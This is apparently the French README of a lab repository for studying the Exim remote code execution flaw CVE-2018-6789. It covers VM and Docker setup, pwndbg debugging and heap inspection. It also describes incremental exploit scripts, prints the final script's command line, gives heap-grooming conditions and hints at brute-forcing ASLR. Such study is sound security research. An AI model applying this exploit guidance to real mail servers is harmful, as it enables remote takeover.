
Ce dépôt fournit un environnement d'apprentissage pour comprendre comment fonctionne un exploit RCE Exim pour CVE-2018-6789.
Ceci est un ensemble de fichiers, scripts, notes, ... permettant de mettre en place un environnement pour étudier l'Exim RCE (CVE-2018-6789). Il peut être utilisé pour déboguer Exim, écrire des exploits, tracer les appels de fonction d'Exim, découvrir la gestion mémoire personnalisée d'Exim (storeblocks), comprendre le fonctionnement d'un exploit réel, ...
Il ne doit être utilisé qu'à des fins académiques !
vagrant-libvirt)Téléchargez le code source d'Exim en exécutant
$ git submodule update --init
Un Vagrantfile se trouve dans le répertoire racine. Il utilise comme fournisseur de virtualisation. La box est tirée directement du miroir de Fedora via car les téléchargements depuis Vagrant Cloud sont actuellement cassés (migration HCP) ; Fedora ne publie que des boxes libvirt et VirtualBox là-bas (pas de VMware), et un direct est spécifique au fournisseur, donc cette configuration cible uniquement libvirt.
box_urlbox_url# -*- mode: ruby -*-
# vi: set ft=ruby :
memory = 8192 # en MiB
cpus = 4
Vagrant.configure("2") do |config|
# Les téléchargements depuis Vagrant Cloud sont cassés ; tirer la box du miroir Fedora
config.vm.box = "fedora-44-cloud-base"
config.vm.box_url = "https://download.fedoraproject.org/pub/fedora/linux/releases/44/Cloud/x86_64/images/Fedora-Cloud-Base-Vagrant-libvirt-44-1.7.x86_64.vagrant.libvirt.box"
config.vm.provider "libvirt" do |lv|
lv.memory = memory
lv.cpus = cpus
end
config.vm.provision "shell", inline: <<-SHELL
/vagrant/scripts/setup_vm.sh
SHELL
end
Vous pouvez modifier la configuration comme vous le souhaitez, mais gardez à l'esprit que, par exemple, le script setup_vm.sh utilise dnf pour installer les paquets. Si vous voulez utiliser Ubuntu, vous devez remplacer les lignes dnf install par apt-get install et ajuster les noms de paquets en conséquence. Cependant, rien ne garantit que l'installation fonctionnera correctement.
Lorsque vous êtes satisfait de votre configuration, exécutez simplement :
$ vagrant up
pour configurer la machine, puis
$ vagrant ssh
pour vous y connecter. Si vous ne savez pas comment utiliser Vagrant, jetez un œil ici : https://www.vagrantup.com/intro/getting-started/
Vagrant mappe le répertoire courant (c'est-à-dire le dépôt que vous venez de cloner) en tant que répertoire partagé vers /vagrant. Pour créer et exécuter l'image Docker pour Exim, entrez les commandes suivantes dans votre VM (vagrant ssh)
[vagrant@localhost ~]$ cd /vagrant
[vagrant@localhost vagrant]$ ./scripts/reset_docker.sh
La première fois prendra beaucoup plus de temps car Exim sera compilé à partir des sources. Si vous modifiez des scripts de débogage ou d'autres fichiers qui seront copiés dans le conteneur Docker, vous pouvez toujours utiliser ./scripts/reset_docker.sh pour reconstruire l'image Docker. Bien sûr, vous pouvez aussi simplement extraire les lignes nécessaires du script et les exécuter comme des commandes individuelles.
Quand tout est terminé, vous devriez voir une console root :
Successfully tagged exim:latest
787f310ef922a1e519cf8bb47f1c4fed5f510da705e7ceefd48f160c980e969c
root@787f310ef922:/opt#
Les chaînes bizarres peuvent être différentes sur votre machine, mais vous êtes maintenant dans un conteneur Docker Debian fonctionnant dans une VM Fedora sur votre machine hôte.
Tout d'abord, vous pouvez créer deux sessions SSH avec vagrant ssh dans deux fenêtres de terminal. L'une peut être utilisée pour exécuter des exploits et interagir avec Exim via SMTP. L'autre est utilisée pour démarrer, exécuter, déboguer, ... Exim dans le conteneur Docker. L'ASLR est désactivé dans la VM afin que vous puissiez définir des points d'arrêt fiables qui ne changent pas pendant les sessions de débogage.
Exemple de session :
Premier terminal :
$ vagrant ssh
[vagrant@localhost vagrant]$
Deuxième terminal :
$ vagrant ssh
[vagrant@localhost vagrant]$ cd /vagrant
[vagrant@localhost vagrant]$ ./scripts/reset_docker.sh
...
# maintenant vous êtes à l'intérieur du conteneur Docker Debian
root@99296cf63016:/opt# ./run_exim.sh
root@99296cf63016:/opt# ./attach_exim.sh
Le script run_exim.sh se termine et Exim s'exécute en arrière-plan. Le script ./attach_exim.sh devrait attacher gdb au processus du démon Exim en cours et vous donner un résultat comme celui-ci :
...
pwndbg: loaded 170 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Attaching to process 14
Reading symbols from /usr/exim/bin/exim-4.89_1-1-fc6d6586-XX-1...done.
...
0x00007ffff6b7f5e3 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
Breakpoint 1 at 0x5555555c03d2: file smtp_in.c, line 1762.
Breakpoint 2 at 0x5555555c051d: file smtp_in.c, line 1884.
Breakpoint 3 at 0x55555556a2c8: file base64.c, line 154.
Breakpoint 4 at 0x5555555c6aca: file smtp_in.c, line 3690.
Exim est en cours d'exécution et attend les requêtes. Les points d'arrêt définis proviennent du fichier debugging/breakpoints. Vous pouvez utiliser Ctrl+C pour interrompre le processus et donner le contrôle à gdb. Vous pouvez également exécuter l'un des scripts d'exploit fournis pour tester si tout fonctionne comme prévu :
Premier terminal :
[vagrant@localhost ~]$ cd /vagrant/sploits/
[vagrant@localhost sploits]$ ./sploit_0.py
[+] Opening connection to localhost on port 25: Done
Deuxième terminal :
Thread 2.1 "exim" hit Breakpoint 2, smtp_reset (reset_point=reset_point@entry=0x555555843078) at smtp_in.c:1884
1884 {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────
RAX 0x555555843078 ◂— 0x0
RBX 0x0
RCX 0x555555824b40 (store_last_get) —▸ 0x555555843078 ◂— 0x0
RDX 0x555555820b30 (yield_length) ◂— 0x15800001c38
RDI 0x555555843078 ◂— 0x0
RSI 0x0
R8 0x3
R9 0x52
R10 0x73
R11 0x246
R12 0x5555555ec7fa ◂— 'daemon.c'
R13 0x555555843078 ◂— 0x0
R14 0x0
R15 0x0
RBP 0x5555555ee3db ◂— and byte ptr [rax], ah /* ' %s\n' */
RSP 0x7ffffffbe528 —▸ 0x5555555c31d1 (smtp_setup_msg+67) ◂— mov dword ptr [rip + 0x260b6d], 0
RIP 0x5555555c051d (smtp_reset) ◂— push rbp
────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────
► 0x5555555c051d <smtp_reset> push rbp
0x5555555c051e <smtp_reset+1> push rbx
0x5555555c051f <smtp_reset+2> sub rsp, 8
0x5555555c0523 <smtp_reset+6> mov rbp, rdi
0x5555555c0526 <smtp_reset+9> mov qword ptr [rip + 0x263657], 0 <0x555555823b88>
0x5555555c0531 <smtp_reset+20> mov dword ptr [rip + 0x263645], 0 <0x555555823b80>
0x5555555c053b <smtp_reset+30> mov dword ptr [rip + 0x26364f], 0 <0x555555823b94>
0x5555555c0545 <smtp_reset+40> mov dword ptr [rip + 0x263699], 0 <0x555555823be8>
0x5555555c054f <smtp_reset+50> mov dword ptr [rip + 0x263687], 0 <0x555555823be0>
0x5555555c0559 <smtp_reset+60> mov dword ptr [rip + 0x263679], 0 <0x555555823bdc>
0x5555555c0563 <smtp_reset+70> mov dword ptr [rip + 0x263677], 0 <0x555555823be4>
────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────
In file: /opt/exim/src/src/smtp_in.c
1879 Returns: nothing
1880 */
1881
1882 static void
1883 smtp_reset(void *reset_point)
► 1884 {
1885 recipients_list = NULL;
1886 rcpt_count = rcpt_defer_count = rcpt_fail_count =
1887 raw_recipients_count = recipients_count = recipients_list_max = 0;
1888 cancel_cutthrough_connection("smtp reset");
1889 message_linecount = 0;
────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7ffffffbe528 —▸ 0x5555555c31d1 (smtp_setup_msg+67) ◂— mov dword ptr [rip + 0x260b6d], 0
01:0008│ 0x7ffffffbe530 —▸ 0x7ffffffbe600 ◂— 0x0
02:0010│ 0x7ffffffbe538 —▸ 0x7ffffffbe540 —▸ 0x555555605f1a ◂— add byte ptr [rip + 0x25203a73], ah
03:0018│ 0x7ffffffbe540 —▸ 0x555555605f1a ◂— add byte ptr [rip + 0x25203a73], ah
04:0020│ 0x7ffffffbe548 —▸ 0x555555843078 ◂— 0x0
05:0028│ 0x7ffffffbe550 ◂— 0x0
06:0030│ 0x7ffffffbe558 —▸ 0x7ffff6b7f5e3 (__select_nocancel+10) ◂— cmp rax, -0xfff
07:0038│ 0x7ffffffbe560 ◂— 0x7ffffffbe560
──────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► f 0 5555555c051d smtp_reset
f 1 5555555c31d1 smtp_setup_msg+67
f 2 55555556de43 daemon_go+10909
f 3 55555556de43 daemon_go+10909
f 4 555555583ca5 main+21601
f 5 7ffff6abe2e1 __libc_start_main+241
──────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint smtp_reset
pwndbg>
Vous pouvez supprimer tous les points d'arrêt avec d et continuer avec c pour laisser le script sploit_0.py s'exécuter jusqu'à sa fin :
Deuxième terminal :
Breakpoint smtp_reset
pwndbg> d
pwndbg> c
Continuing.
[Inferior 2 (process 42) exited with code 01]
Premier terminal :
...
220 787f310ef922 ESMTP Exim 4.89_1-1-fc6d6586-XX Mon, 02 Mar 2020 14:47:24 +0000
250-787f310ef922 Hello test.example.org [172.17.0.1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN
250-CHUNKING
250-PRDR
250 HELP
501 Invalid base64 data
[*] Closed connection to localhost port 25
Si le processus fils que vous venez de déboguer (auquel vous vous êtes attaché) se termine (par exemple [Inferior 2 (process 42) exited with code 01]), vous pouvez quitter gdb et relancer ./attach_exim.sh.
Sous debugging, vous trouverez quelques scripts qui peuvent être utiles. L'un des scripts est showmem.py. Il vous permet d'inspecter les storeblocks d'Exim et les chunks de tas correspondants. Vous pouvez l'exécuter dans gdb avec la commande smem :
pwndbg> smem
...
[SHOWMEM]: 0x5555558402b0: heap chunk of size 0x000004b0 (used) / data:
[SHOWMEM]: 0x555555840760: heap chunk of size 0x00000030 (used) / data: /lib/x86_64-linux-gnu
[SHOWMEM]: 0x555555840790: heap chunk of size 0x00000050 (used) / data: ...UUU
[SHOWMEM]: 0x5555558407e0: heap chunk of size 0x000000e0 (used) / data:
[SHOWMEM]: 0x5555558408c0: heap chunk of size 0x00000370 (free) / data: .~....
[SHOWMEM]: 0x555555840c30: heap chunk of size 0x00000040 (used) / data:
[SHOWMEM]: 0x555555840c70: heap chunk of size 0x00002020 (used) / data:
[SHOWMEM]: 0x555555840c80: storeblock of size 0x00002000 / data:
[SHOWMEM]: 0x555555842c90: heap chunk of size 0x00002020 (used) / data:
[SHOWMEM]: 0x555555842ca0: storeblock of size 0x00002000 / data: root
[SHOWMEM]: 0x555555844cb0: heap chunk of size 0x00008010 (used) / data:
[SHOWMEM]: 0x55555584ccc0: heap chunk of size 0x00002010 (used) / data:
[SHOWMEM]: 0x55555584ecd0: heap chunk of size 0x00001010 (used) / data: 220 99296cf63016 ESMTP Exim 4.89_1-1-fc6d6586-XX M
[SHOWMEM]: 0x55555584fce0: heap chunk of size 0x0001d320 (free) / data:
Les régions mémoire en retrait sont les storeblocks, les autres régions sont des chunks de tas (glibc). Actuellement, il s'agit d'une approximation car je n'ai pas recoupé les chunks utilisés avec les listes libres de glibc, donc il peut y avoir quelques indications erronées de blocs utilisés/libres. Vous pouvez toujours utiliser les commandes bins, heap, ... de pwndbg comme source d'information supplémentaire !
Remarque : Avec libvirt / KVM, le dossier /vagrant est synchronisé via rsync, donc après avoir modifié des fichiers sur l'hôte, exécutez vagrant rsync (ou laissez vagrant rsync-auto en cours) pour copier vos modifications dans la VM avant de reconstruire le conteneur.
.
├── debugging # Scripts liés à GDB
│ ├── breakpoints
│ ├── gdbinit
│ ├── showmem.py
│ └── trace.py
├── Dockerfile # Dockerfile pour construire et déboguer Exim
├── Exim # Code source de la version vulnérable d'Exim
├── exim_code_backup # Sauvegarde du code source vulnérable d'Exim
│ └── exim-fc6d65867e82009a6e0671771728d41d3423a790.zip
├── exim_files # Fichiers Exim patchés pour construire Exim correctement
│ ├── configure
│ ├── eximon.conf
│ ├── Makefile
│ └── Makefile-Linux
├── README.md
├── scripts # Scripts d'aide pour déboguer Exim
│ ├── attach_exim.sh
│ ├── reset_docker.sh
│ ├── run_exim.sh
│ └── setup_vm.sh
├── sploits # Scripts d'exploit incrémentaux et un script pour trouver l'octet 0xf1
│ ├── exim_0xf1.py
│ ├── smtp.py
│ ├── sploit_0.py
│ ├── sploit_1.py
│ ├── sploit_2.py
│ ├── sploit_3.py
│ ├── sploit_4.py
│ ├── sploit_5.py
│ ├── sploit_6.py
│ ├── sploit_7.py
│ ├── sploit_8.py
│ ├── sploit_9.py
│ └── sploit_10.py
└── Vagrantfile # Vagrantfile pour créer la VM qui héberge le conteneur Docker
Les scripts d'exploit se trouvent sous sploits. Ils sont construits de manière incrémentale pour faciliter la compréhension des différentes étapes. Ils sont presque identiques aux étapes fournies par @straightblast426 sur medium.com.
sploit_10.py est le script final qui devrait démontrer la RCE en un seul script. Ce script ne lance pas de shell inverse mais crée un fichier sous /tmp. Vous pouvez le modifier en éditant la ligne suivante :
cmd = '/bin/bash -c "touch /tmp/pwned"'
Veuillez noter que le script sploit_10.py fourni n'est pas la seule façon d'exploiter la vulnérabilité. Il existe, par exemple, d'autres façons d'organiser le tas !
Le grooming est sensible à l'environnement : gardez host_lookup = désactivé (une recherche DNS inverse du nom du client pollue le tas que l'exploit organise) et le conteneur sur debian:bullseye (le grooming ne survit que dans la glibc 2.31 de Debian, pas celle d'Ubuntu ou de bookworm). Cela signifie également que ce dépôt ne fonctionnera (tel quel) que tant qu'il existe une distribution disponible fournissant glibc 2.31 (publiée pour la première fois en 2020) !
Le pointeur next sera modifié avec une adresse constante précédemment connue (qui devrait également fonctionner pour vous si vous utilisez la configuration identique). Si vous lancez cet exploit contre une autre instance d'Exim en cours d'exécution, il ne fonctionnera pas (les chances sont très faibles). Vous pourriez contourner l'ASLR avec un peu de brute-force. Cela fonctionne assez bien car Exim se duplique (clone) pour traiter les requêtes des clients. Cela signifie que la disposition globale de la mémoire reste la même et que vous avez une chance réaliste de brute-forcer le pointeur next. Si vous ne savez pas ce qu'est le pointeur next, vous devriez d'abord lire les références.
Si vous construisez exim légèrement différemment, l'emplacement du pointeur next peut être différent. Vous devez trouver l'adresse du storeblock qui contient acl_smtp_rcpt. Suivez ces étapes et ajustez le pointeur dans les fichiers sploit_xx.py respectifs :
# connectez-vous à la VM avec : vagrant ssh
./run_exim.sh
./attach_exim.sh
# pwndbg démarre, puis Ctrl-C
pwndbg> smem
[SHOWMEM]: 0x55555562e6b0: heap chunk of size 0x00002020 (used) / data: .2cUUU
[SHOWMEM]: 0x55555562e6c0: storeblock of size 0x00002000 / data: /usr/exim/configure
...
Le storeblock à l'adresse 0x55555562e6c0 contient également acl_smtp_rcpt :
pwndbg> p acl_smtp_rcpt
$1 = (uschar *) 0x55555562e7f0 "acl_check_rcpt"
Donc, dans les scripts d'exploit, remplacez-le par l'adresse affichée avec la commande smem :
# ...
# adresse du storeblock des chaînes ACL (pas le chunk)
address_of_acl_storeblock = 0x55555562E6C0
# ...